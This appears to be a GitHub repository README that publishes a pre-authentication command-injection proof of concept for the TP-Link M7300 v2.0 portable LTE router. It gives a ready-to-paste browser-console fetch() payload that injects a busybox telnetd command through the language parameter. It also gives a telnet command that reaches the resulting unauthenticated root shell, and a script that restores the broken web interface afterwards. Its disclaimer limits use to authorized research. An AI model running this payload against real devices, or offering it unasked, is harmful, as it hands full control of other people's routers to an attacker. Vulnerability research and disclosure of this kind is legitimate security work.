Skip to content

About

TP-Link M7300 web_cgi command injection PoC (pre-auth RCE)

Topics

Resources

Code of conduct

Contributing

Security policy

Stars

4 stars

Watchers

0 watching

Forks

Latest commit

 

History

6 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

TP-Link M7300 Telnet Exploit

TP-Link M7300 — web_cgi Command Injection

target: TP-Link M7300 v2.0 type: Command Injection PoC lang: JavaScript license: MIT

Unauthenticated command injection via the language-switch endpoint on the TP-Link M7300 (UN) v2.0 portable LTE router (firmware 1.0.5 Build 151210 Rel.1019n).

Affected Endpoint

POST /cgi-bin/web_cgi
Content-Type: application/json

The language parameter in the webServer / SET_LANGUAGE action is passed to a shell context without sanitization.

Proof of Concept

Paste in the browser console while connected to the device's admin panel (default http://192.168.0.1):

fetch("/cgi-bin/web_cgi", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({
    module: "webServer",
    action: 1,
    language: "$(busybox telnetd -l /bin/sh)"
  })
})
  .then(r => r.json())
  .then(d => console.log("Result:", d))
  .catch(e => console.error("Error:", e));

On success, a telnet daemon starts on the default port (23). Connect with:

telnet 192.168.0.1

This gives an unauthenticated root shell.

Fix Web UI After Exploit

The exploit corrupts the language setting (it becomes the shell command string), which breaks the web interface — pages fail to load translations and render blank or broken.

To restore it, paste fix.js in the browser console:

fetch("/cgi-bin/web_cgi", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({
    module: "webServer",
    action: 1,
    language: "en"
  })
})
  .then(r => r.json())
  .then(d => {
    if (d.result === 0) {
      console.log("Language restored to English. Reloading...");
      location.reload();
    } else {
      console.warn("Failed:", d);
    }
  })
  .catch(e => console.error("Error:", e));

Note: The telnet daemon stays running even after fixing the language — this only restores the web UI.

Impact

  • Pre-auth: The language-switch action is available on the login page — no authentication token is required.
  • Root shell: busybox telnetd runs as root, granting full device access.
  • Persistence: The telnet daemon survives until reboot.

Affected Firmware

Model Hardware Firmware Status
M7300 (UN) v2.0 1.0.5 Build 151210 Rel.1019n Vulnerable

Timeline

Date Event
2024-XX-XX Vulnerability discovered
— Vendor notification (pending)

Disclaimer

This proof of concept is provided for authorized security research and educational purposes only. Use it only on devices you own or have explicit permission to test. Unauthorized access to computer systems is illegal.

License

This project is licensed under the MIT License — see LICENSE for details.

About

TP-Link M7300 web_cgi command injection PoC (pre-auth RCE)

Topics

Resources

Code of conduct

Contributing

Security policy

Stars

4 stars

Watchers

0 watching

Forks

Releases

Sponsor this project

Packages

Contributors

Languages